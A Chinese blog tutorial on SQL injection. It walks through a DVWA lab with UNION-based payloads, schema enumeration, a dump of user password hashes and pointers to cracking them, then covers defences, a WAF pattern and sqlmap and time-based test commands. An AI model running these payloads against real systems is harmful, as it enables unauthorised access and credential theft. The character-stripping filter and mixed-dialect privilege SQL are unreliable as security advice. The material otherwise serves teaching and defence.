網安系列【6】之[特殊字符] SQL注入揭秘:從入門到防御實戰指南

文章目錄

  • 一 真實案例
  • 二 SQL注入
  • 三 為什么危害堪比核彈?
  • 四 深入解剖攻擊原理
    • 🎯 4.1:探測SQL漏洞的存在
    • 🎯 4.2:數據庫信息探測
    • 🎯 4.3:數據庫信息探測
    • 🎯 4.4:數據庫信息進一步探測
    • 🎯 4.5:數據庫表中敏感信息探測
  • 五 防御指南:四重黃金法則
    • 🔒5.1 法則1:參數化查詢(最有效!)
    • 🔒5.2 法則2:輸入嚴格過濾
    • 🔒5.3 法則3:最小權限原則
    • 🔒5.4 法則4:深度防御策略
  • 六 檢測:你的網站安全嗎?

“比忘記WHERE子句更可怕的,是把用戶輸入直接當代碼執行。” —— 每個被SQL注入毒打過的開發者


一 真實案例

  • 場景:某電商網站登錄框
  • 正常SQL
    SELECT * FROM users WHERE username = '輸入的用戶名' AND password = '輸入的密碼';
    

攻擊者輸入: 用戶名:admin' -- ,密碼:任意值(如123)。最終SQL變形成
sql SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123'

  • 👉 結果:攻擊者以admin身份直接登錄!因為--在SQL中是注釋符,密碼驗證被直接忽略。

二 SQL注入

  • 通俗解釋:黑客通過篡改SQL查詢結構,把惡意代碼“注入”到正常SQL語句中,欺騙數據庫執行非法操作。
  • 技術本質:用戶輸入數據未被正確處理,與代碼指令發生混淆,導致數據被當作代碼執行。

三 為什么危害堪比核彈?

危害類型具體后果真實案例
數據竊取盜取用戶密碼、銀行卡信息雅虎5億賬戶泄露事件
數據篡改修改商品價格、賬戶余額某電商1元買iPhone漏洞
系統接管獲取服務器控制權限某政府系統被植入后門
數據刪除清空整個數據庫表某公司用戶數據遭惡意刪除

四 深入解剖攻擊原理

  • 以下案例中在DVWA平臺low安全水平下進行SQL注入練習。

🎯 4.1:探測SQL漏洞的存在

  • 通過以下的執行結果探測,確定漏洞的存在。
SELECT first_name, last_name FROM users WHERE user_id = '$id';

攻擊payloadusername = ' OR 1=1 -- 或者username=' or 1=1 #
生成SQL

SELECT * FROM users WHERE username='' OR 1=1 --;

? 攻擊效果:條件永真,返回所有用戶數據

🎯 4.2:數據庫信息探測

  • 判斷數據庫的列數order by [column_num]
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3#"
  • 用戶輸入1' order by 1#,得到返回結果確定數據庫表中存在一列,繼續增加列數的數值,探測數據表的總列數。如果不存在,會報錯 Unknown column '3' in 'order clause' in。用戶輸入的數據為 1′order by 3#時網頁出現報錯,證明該數據庫表有 2 列/字段
    在這里插入圖片描述

🎯 4.3:數據庫信息探測

  • 在確定該接口使用的數據庫表的列數之后,可以繼續使用union進行獲取數據庫的更多資源。如,上一步測試的數據庫表只有兩列。
' UNION SELECT user(),database() #

? 攻擊效果:暴漏當前連接數據庫的用戶和數據庫名

ID: ' UNION SELECT user(),database() #
First name: dvwa_ZfhAQF@172.18.0.3
Surname: dvwa_xmxbmd

  • 常用信息收集函數:
  1. 系統信息函數
@@version 或 version(): 數據庫版本。
@@basedir: MySQL安裝的基本目錄。
@@datadir: 數據文件存儲目錄。
@@hostname: 服務器主機名。
@@version_compile_os: 操作系統信息。
  1. 數據庫信息函數
schema(): 同database(),返回當前數據庫名。
table_schema (通過information_schema.tables): 獲取所有數據庫名。
  1. 用戶信息函數
current_user(): 當前用戶。
system_user(): 系統用戶。
session_user(): 會話用戶。
  1. 文件和路徑函數
load_file('/etc/passwd'): 讀取文件內容(需要權限)。
@@tmpdir: 臨時目錄。
@@secure_file_priv: 安全文件目錄。
  1. 其他實用函數
UUID(): 返回一個通用唯一標識符。
connection_id(): 當前連接的ID。
last_insert_id(): 最后插入的自動增量值。
row_count(): 上一個語句影響的行數。

🎯 4.4:數據庫信息進一步探測

  • information_schema是Mysql5.0后新增的元信息數據庫,保存Mysql服務器所保存的所有的其他數據庫信息,如schemata(數據庫信息)、tables(表信息)、columns(列信息)。
  • 聯合查詢表(查詢數據的名稱和表的名稱);
union select table_name,table_schema from information_schema.tables where table_schema='[database_name]'
SELECT first _name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#';
  • 結合上一步獲取到的數據庫名dvwa_xmxbmd和使用的表只有兩列,可以采用以下語句進行執行,查詢目前數據庫中的表。
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
ID: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
First name: guestbook
Surname: dvwa_xmxbmd
ID: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
First name: users
Surname: dvwa_xmxbmd
  • 繼續查看具有意義的users表中的列信息,執行以下輸入
1' union select column_name,data_type from information_schema.columns where table_name='users' #
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: admin
Surname: admin
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: avatar
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: failed_login
Surname: int
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: first_name
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: last_login
Surname: timestamp
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: last_name
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: password
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: user
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: user_id
Surname: int
  • 我們可以看到,users表中存在userpassword重要的信息,可以繼續進一步查看。

🎯 4.5:數據庫表中敏感信息探測

  • 聯合查詢信息union [query_sql]
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users #';
  • 可以輸入以下命令進行注入
1' union select user,password from users #
ID: 1' union select user,password from users #
First name: admin
Surname: admin
ID: 1' union select user,password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
  • 可以在https://www.cmd5.com/解密部分md5加密數據,如admin的密碼解密為password

五 防御指南:四重黃金法則

🔒5.1 法則1:參數化查詢(最有效!)

# Python + psycopg2 安全示例
import psycopg2
sql = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(sql, (username, password))

🔒5.2 法則2:輸入嚴格過濾

// Node.js 過濾示例
function sanitize(input) {return input.replace(/['";\\]/g, ''); // 移除敏感字符
}

🔒5.3 法則3:最小權限原則

CREATE USER webuser WITH PASSWORD 'strongPwd!';
GRANT SELECT ON users TO webuser; -- 僅授權必要權限
REVOKE DROP, DELETE ON *.* FROM webuser; -- 回收危險權限

🔒5.4 法則4:深度防御策略

  • Web應用防火墻(WAF)規則示例:
    # Nginx配置攔截SQL注入特征
    location / {set $block_sql_inject 0;if ($query_string ~* "union.*select.*\(") {set $block_sql_inject 1;}if ($block_sql_inject = 1) {return 403;}
    }
    

六 檢測:你的網站安全嗎?

測試工具(僅用于合法授權測試):

  1. SQLMap:sqlmap -u "http://example.com?id=1"
  2. Burp Suite:攔截請求修改參數為id=1' AND 1=Sleep(5)--
  3. 手動檢測:輸入單引號'觀察是否報錯

安全自查表

  • 所有數據庫操作使用參數化查詢
  • 錯誤信息不泄露數據庫結構
  • 數據庫連接使用最低權限賬戶
  • 關鍵操作有二次驗證機制

  • 記住:“永遠不要信任用戶輸入,驗證、過濾、參數化——這三板斧能救你的系統一命。”

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/87660.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/87660.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/87660.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Windows內核并發優化

Windows內核并發優化通過多層次技術手段提升多核環境下的系統性能,以下是關鍵技術實現方案: 一、內核鎖機制優化? 精細化鎖策略? 采用自旋鎖(Spinlock)替代信號量處理短臨界區,減少線程切換開銷 對共享資源實施讀…

【數據結構】 排序算法

【數據結構】 排序算法 一、排序1.1 排序是什么?1.2 排序的應用1.3 常見排序算法二、常見排序算法的實現2.1 插入排序2.1.1 直接插入排序2.1.2 希爾排序2.2 選擇排序2.2.1 直接選擇排序2.2.1.1 方法12.2.1.1 方法22.2.2 堆排序(數組形式)2.3 …

NumPy-核心函數np.matmul()深入解析

NumPy-核心函數np.matmul深入解析 一、矩陣乘法的本質與np.matmul()的設計目標1. 數學定義:從二維到多維的擴展2. 設計目標 二、np.matmul()核心語法與參數解析函數簽名核心特性 三、多維場景下的核心運算邏輯1. 二維矩陣乘法:基礎用法2. 一維向量與二維…

突破政務文檔理解瓶頸:基于多模態大模型的智能解析系統詳解

重磅推薦專欄: 《大模型AIGC》 《課程大綱》 《知識星球》 本專欄致力于探索和討論當今最前沿的技術趨勢和應用領域,包括但不限于ChatGPT、DeepSeek、Stable Diffusion等。我們將深入研究大型模型的開發和應用,以及與之相關的人工智能生成內容…

深入探討支持向量機(SVM)在乳腺癌X光片分類中的應用及實現

?? 博主簡介:CSDN博客專家、CSDN平臺優質創作者,高級開發工程師,數學專業,10年以上C/C++, C#, Java等多種編程語言開發經驗,擁有高級工程師證書;擅長C/C++、C#等開發語言,熟悉Java常用開發技術,能熟練應用常用數據庫SQL server,Oracle,mysql,postgresql等進行開發應用…

九、K8s污點和容忍

九、K8s污點和容忍 文章目錄九、K8s污點和容忍1、污點(Taint)和容忍(Toleration)1.1 什么是污點(Taint)?1.2 什么是容忍(Toleration)?1.3 污點的影響效果&…

基于開源AI智能名片鏈動2+1模式S2B2C商城小程序的超級文化符號構建路徑研究

摘要:在數字技術重構文化傳播生態的背景下,超級文化符號的塑造已突破傳統IP運營框架。本文以開源AI智能名片鏈動21模式與S2B2C商城小程序的融合創新為切入點,結合"嶼光生活"體驗館、快手燒烤攤主等典型案例,提出"技…

QT 日志 - qInstallMessageHandler將qDebug()打印內容輸出到文件

在編程開發中,日志功能至關重要,對于在開發期間或者是程序上線后,都有助于排查問題; 對于C/C和QT方向,日志庫有log4cpp、plog、log4qt等,本篇文章將使用qt自帶的日志方式去實現。 定義日志函數&#xff1a…

記錄一下seata啟動403問題

1.現象:啟動報錯可能是403,或是是密碼錯誤一般是nacos加了認證,seata配置nacos賬號密碼的時候就啟動不了。可能是密碼錯誤,最有可能是seata版本太低導致的。1.4.2以及一下的版本應該都有這個問題2.問題密碼不能有特殊符號如&#…

【STM32實踐篇】:GPIO 詳解

文章目錄GPIO 基本結構GPIO 工作模式GPIO 基本結構 右邊的紅框是I/O引腳,這個I/O引腳就是我們可以看到的芯片實物的引腳,其他部分都是GPIO的內部結構。 保護二極管 上方二極管用于防過壓保護,當I/O引腳電壓高于 V_DD 二極管導通壓降?時&…

#include

關于 C 中的 include <>和 include “” 這兩種形式&#xff0c;區別其實是關于“搜索路徑”和“優先級”的。讓我詳細為你講解。 1. 簡單區別總結 #include <header>&#xff1a;告訴編譯器去“系統標準目錄”或“預定義的標準路徑”中查找頭文件&#xff08;比如…

永磁同步電機參數辨識算法--帶遺忘因子的遞推最小二乘法辨識

一、原理介紹之前已經介紹了遞推最小二乘法進行電氣參數辨識&#xff0c;在實時參數辨識中&#xff0c;協方差矩陣P和增益矩陣K是用于更新參數估計的重要工具&#xff0c;而系統參數變化時&#xff0c;P、K矩陣會逐漸減小&#xff0c;導致數據飽和。數據飽和與參數遲滯是實時參…

JVM 知識點

一、JVM 概述JVM&#xff08;Java Virtual Machine&#xff09;即 Java 虛擬機&#xff0c;它是 Java 編程語言的核心組件之一&#xff0c;負責執行 Java 程序。JVM 使得 Java 程序可以實現“一次編寫&#xff0c;到處運行”的特性&#xff0c;因為它提供了一個抽象的運行環境&…

windows裝機

1、制作啟動盤 2、制作啟動盤 啟動盤中含有WinPE系統和ISO 3、從U盤啟動&#xff0c;加載ISO 4、執行ISO中的setup安裝win10 5、之后從C盤啟動進入win10系統 6、安裝“華為電腦管家”,安裝驅動 華為電腦管家官方下載-筆記本驅動更新 | 華為官網 7、下載安裝必要軟件 https://…

提示技術系列(13)——ReAct

什么是提示技術&#xff1f; 提示技術是實現提示工程目標的具體技術手段&#xff0c;是提示工程中的“工具庫”。 什么又是提示工程&#xff1f; 提示工程是指通過設計、優化和迭代輸入到大語言模型&#xff08;LLM&#xff09;的提示&#xff08;Prompt&#xff09;&#xff…

【SVO】klt與極限搜索塊匹配findEpipolarMatchDirect

Matcher::findEpipolarMatchDirect 函數邏輯與原理分析 核心目標&#xff1a; 在極線上搜索參考幀特征點 ref_ftr 在當前幀 cur_frame 中的最佳匹配點&#xff0c;并通過三角化計算深度。 關鍵步驟解析&#xff1a; 1. 極線端點計算&#xff1a; const BearingVector A T_…

C 語言基礎入門:基本數據類型與運算符詳解

一、基本數據類型C 語言提供了豐富的基本數據類型&#xff0c;用于存儲不同類型的數據&#xff0c;主要包括整數類型、浮點類型和布爾類型。1. 整數類型整數類型用于存儲整數&#xff0c;根據是否帶符號以及占用存儲空間的不同&#xff0c;可進一步細分&#xff1a;類型名占用存…

應用在核電行業的虛擬現實解決方案

核能領域正處于創新與責任的交匯點。盡管核反應堆提供了高效且可持續的能源&#xff0c;但由于放射性物質的危險性&#xff0c;其也帶來了獨特挑戰。虛擬現實&#xff08;VR&#xff09;技術正通過為遠程操作、應急響應和放射性物質處理提供先進解決方案&#xff0c;徹底革新這…

CTF Web的數組巧用

PHP數組繞過intval和preg_match的CTF技巧 原題目 <?php include("flag.php"); // 引入flag文件&#xff0c;flag變量在這里定義 show_source("index.php"); // 顯示index.php文件的源碼&#xff08;方便選手查看&#xff09;// 判斷是否通過GET方式傳入…

vue2+elementui使用compressorjs壓縮上傳的圖片

首先是npm install compressorjs 然后新建一個compressorjs.js的文件 import Compressor from "compressorjs";// 默認壓縮配置 const DEFAULT_COMPRESS_OPTIONS {quality: 0.6, // 默認壓縮質量 (0-1)maxWidth: 1920, // 最大寬度maxHeight: 1080, // 最大高度con…